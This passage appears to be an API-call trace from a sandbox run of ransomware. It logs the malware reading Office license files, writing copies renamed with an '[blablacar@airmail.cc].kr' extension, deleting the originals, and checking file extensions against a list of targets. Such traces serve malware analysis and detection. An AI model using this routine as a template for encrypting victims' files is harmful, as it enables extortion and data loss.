[0204.297] lstrlenW (lpString=".doc") returned 4 [0204.297] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString=".docx") returned 5 [0204.297] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.297] lstrlenW (lpString=".pdf") returned 4 [0204.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString=".xls") returned 4 [0204.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString=".xlsx") returned 5 [0204.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.297] lstrlenW (lpString=".ppt") returned 4 [0204.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.297] lstrlenW (lpString=".zip") returned 4 [0204.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString=".rar") returned 4 [0204.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString=".bz2") returned 4 [0204.297] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString=".7z") returned 3 [0204.297] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.297] lstrlenW (lpString=".dbf") returned 4 [0204.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.297] lstrlenW (lpString=".1cd") returned 4 [0204.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.297] lstrlenW (lpString=".jpg") returned 4 [0204.297] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.298] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.298] lstrlenW (lpString="O365HomePremR_SubTrial5-ppd.xrm-ms") returned 34 [0204.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.303] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23135) returned 1 [0204.303] CloseHandle (hObject=0x3c4) returned 1 [0204.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 0x220 [0204.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.303] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.304] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0204.304] GetLastError () returned 0x0 [0204.304] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0204.318] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0204.319] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.319] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0204.319] SetEndOfFile (hFile=0x538) returned 1 [0204.319] CloseHandle (hObject=0x538) returned 1 [0204.319] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.319] SetEndOfFile (hFile=0x3c4) returned 1 [0204.322] CloseHandle (hObject=0x3c4) returned 1 [0204.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 1 [0204.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.323] lstrlenW (lpString=".doc") returned 4 [0204.323] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.323] lstrlenW (lpString=".docx") returned 5 [0204.323] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.324] lstrlenW (lpString=".pdf") returned 4 [0204.324] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString=".xls") returned 4 [0204.324] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString=".xlsx") returned 5 [0204.324] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.324] lstrlenW (lpString=".ppt") returned 4 [0204.324] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.324] lstrlenW (lpString=".zip") returned 4 [0204.324] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString=".rar") returned 4 [0204.324] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString=".bz2") returned 4 [0204.324] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString=".7z") returned 3 [0204.324] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.324] lstrlenW (lpString=".dbf") returned 4 [0204.324] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.324] lstrlenW (lpString=".1cd") returned 4 [0204.324] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.324] lstrlenW (lpString=".jpg") returned 4 [0204.324] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.324] lstrlenW (lpString=".doc") returned 4 [0204.324] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.324] lstrlenW (lpString=".docx") returned 5 [0204.324] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.325] lstrlenW (lpString=".pdf") returned 4 [0204.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString=".xls") returned 4 [0204.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString=".xlsx") returned 5 [0204.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.325] lstrlenW (lpString=".ppt") returned 4 [0204.325] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.325] lstrlenW (lpString=".zip") returned 4 [0204.325] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString=".rar") returned 4 [0204.325] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString=".bz2") returned 4 [0204.325] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString=".7z") returned 3 [0204.325] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.325] lstrlenW (lpString=".dbf") returned 4 [0204.325] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.325] lstrlenW (lpString=".1cd") returned 4 [0204.325] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0204.325] lstrlenW (lpString=".jpg") returned 4 [0204.325] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.325] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.325] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 41 [0204.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.326] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11215) returned 1 [0204.326] CloseHandle (hObject=0x3c4) returned 1 [0204.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0204.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.327] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.327] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0204.328] GetLastError () returned 0x0 [0204.328] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0204.583] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0204.584] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.584] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x126, lpOverlapped=0x0) returned 1 [0204.584] SetEndOfFile (hFile=0x538) returned 1 [0204.585] CloseHandle (hObject=0x538) returned 1 [0204.585] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.585] SetEndOfFile (hFile=0x3c4) returned 1 [0204.587] CloseHandle (hObject=0x3c4) returned 1 [0204.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0204.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.589] lstrlenW (lpString=".doc") returned 4 [0204.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString=".docx") returned 5 [0204.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.589] lstrlenW (lpString=".pdf") returned 4 [0204.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString=".xls") returned 4 [0204.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString=".xlsx") returned 5 [0204.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.589] lstrlenW (lpString=".ppt") returned 4 [0204.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.589] lstrlenW (lpString=".zip") returned 4 [0204.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString=".rar") returned 4 [0204.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString=".bz2") returned 4 [0204.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString=".7z") returned 3 [0204.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.589] lstrlenW (lpString=".dbf") returned 4 [0204.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.589] lstrlenW (lpString=".1cd") returned 4 [0204.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.589] lstrlenW (lpString=".jpg") returned 4 [0204.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.590] lstrlenW (lpString=".doc") returned 4 [0204.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString=".docx") returned 5 [0204.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.590] lstrlenW (lpString=".pdf") returned 4 [0204.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString=".xls") returned 4 [0204.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString=".xlsx") returned 5 [0204.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.590] lstrlenW (lpString=".ppt") returned 4 [0204.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.590] lstrlenW (lpString=".zip") returned 4 [0204.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString=".rar") returned 4 [0204.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString=".bz2") returned 4 [0204.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString=".7z") returned 3 [0204.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.590] lstrlenW (lpString=".dbf") returned 4 [0204.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.590] lstrlenW (lpString=".1cd") returned 4 [0204.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0204.590] lstrlenW (lpString=".jpg") returned 4 [0204.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.591] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.591] lstrlenW (lpString="O365ProPlusR_Subscription2-pl.xrm-ms") returned 36 [0204.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.591] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11195) returned 1 [0204.591] CloseHandle (hObject=0x3c4) returned 1 [0204.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 0x220 [0204.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.592] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.592] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0204.593] GetLastError () returned 0x0 [0204.593] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.595] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.596] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.596] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.596] SetEndOfFile (hFile=0x538) returned 1 [0204.597] CloseHandle (hObject=0x538) returned 1 [0204.597] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.597] SetEndOfFile (hFile=0x3c4) returned 1 [0204.601] CloseHandle (hObject=0x3c4) returned 1 [0204.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 1 [0204.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.602] lstrlenW (lpString=".doc") returned 4 [0204.602] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".docx") returned 5 [0204.603] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.603] lstrlenW (lpString=".pdf") returned 4 [0204.603] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".xls") returned 4 [0204.603] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".xlsx") returned 5 [0204.603] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.603] lstrlenW (lpString=".ppt") returned 4 [0204.603] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.603] lstrlenW (lpString=".zip") returned 4 [0204.603] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".rar") returned 4 [0204.603] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".bz2") returned 4 [0204.603] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".7z") returned 3 [0204.603] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.603] lstrlenW (lpString="C:\\Program Files\\Microsoft 